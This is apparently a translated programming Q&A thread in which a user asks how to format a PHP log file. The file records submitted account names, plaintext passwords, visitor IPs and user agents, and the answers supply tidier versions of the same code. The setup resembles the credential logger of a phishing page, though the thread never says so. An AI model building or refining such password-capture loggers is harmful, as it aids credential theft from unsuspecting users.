मेरे पास यह कोड नीचे है:

file_put_contents("ceontent.txt", "Account: " . $_POST['callcenteragent'] . " Pass: " . $_POST['agentpassword'] . " IP: " . $ipaddress . " User-agent: " . $browser . " \n", FILE_APPEND);

आउटपुट होने जा रहा है:

Account: Michael Pass: Michaelpwd122@@ IP: 197.210.55.69
 User-agent: Mozilla/5.0 (Linux; Android 6.0; TECNO W5 Lite Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36 Instagram 150.0.0.33.120 Android (23/6.0; 320dpi; 720x1280; TECNO; TECNO W5 Lite; W5Lite; mt6580; en_US; 230877674) 

यह एक गड़बड़ है और मैं पढ़ नहीं सकता।

इसे इस तरह कैसे बनाया जाए:

    ====================================================================================
    ====================================================================================
    Account: Michael
    Password: Michaelpwd122@@
    IP: 197.210.55.69
    User-Agent: Mozilla/5.0 (Linux; Android 6.0; TECNO W5 Lite Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36 Instagram 150.0.0.33.120 Android (23/6.0; 320dpi; 720x1280; TECNO; TECNO W5 Lite; W5Lite; mt6580; en_US; 230877674) 
    ===================================================================================
    ===================================================================================

मैंने "====================" जोड़ने की कोशिश की है, लेकिन किसी तरह इसकी सामग्री नहीं डाली गई है।

कृपया कोई मदद? पहले ही, आपका बहुत धन्यवाद।

-1
pra ser 24 सितंबर 2020, 06:21

2 जवाब

सबसे बढ़िया उत्तर
$separator = '===============================================';
$data = [
    $separator,
    $separator,
    "Account: " . $_POST['callcenteragent'],
    "Pass: " . $_POST['agentpassword'],
    "IP: " . $ipaddress,
    "User-agent: " . $browser,
    $separator,
    $separator,
];

file_put_contents("ceontent.txt", implode("\n", $data), FILE_APPEND);
2
Gabriel A. López López 24 सितंबर 2020, 06:34

Html में नई लाइनें लिखने के लिए, आपको BR टैग या टैग का उपयोग करना चाहिए जो उन्हें बंद करने के बाद अपनी नई लाइन बनाते हैं जैसे h(1|2 |3|4|5|6), पी और ...

लेकिन फाइलों में नई लाइन कैरेक्टर लिखने के लिए आप \n का उपयोग कर सकते हैं जो टेक्स्ट में नई लाइन बनाने के लिए बनाया गया है

PHP में आप 3 तरह से नए लाइन कैरेक्टर का उपयोग कर सकते हैं:

1: अपने टेक्स्ट को दोहरे उद्धरणों में रखें और \n वर्ण (जैसे अन्य भाषाओं) का उपयोग करें:

$text = "amirali esteki answered the user:\npra sar";
echo('<pre>' . $text . '\</pre>');

2: chr फ़ंक्शन का उपयोग करें जो किसी संख्या से एकल-बाइट स्ट्रिंग उत्पन्न करने के लिए है। नए लाइन कैरेक्टर की सिंगल-बाइट संख्या दस (10) है:

$text = 'amirali esteki answered the user:' . chr(10) . 'pra sar';
echo('<pre>' . $text . '\</pre>');

3: PHP द्वारा नए वर्ण के लिए परिभाषित PHP_EOL स्थिरांक का उपयोग करें:

$text = 'amirali esteki answered the user:' . PHP_EOL . 'pra sar';
echo('<pre>' . $text . '\</pre>');

और आपके कोड के बारे में:

$text = '====================================================================================' . PHP_EOL;
$text .= '====================================================================================' . PHP_EOL;
$text .= 'Account: ' . $_POST['callcenteragent'] . PHP_EOL;
$text .= 'Password: ' . $_POST['agentpassword'] . PHP_EOL;
$text .= 'IP: ' . $ipaddress . PHP_EOL;
$text .= 'User-agent: ' . $browser . PHP_EOL;
$text .= '====================================================================================' . PHP_EOL;
$text .= '====================================================================================' . PHP_EOL;
file_put_contents('ceontent.txt', $text, FILE_APPEND);

नोट: कृपया सुनिश्चित करें कि आपके कोड हैकर्स के हमलों से सुरक्षित हैं। निश्चित रूप से आपको क्लाइंट और विधियों से प्राप्त डेटा को सुरक्षित रखने के लिए XSS क्लीन मेथड या फंक्शन का उपयोग करना चाहिए

1
AmirAli Esteki 24 सितंबर 2020, 07:54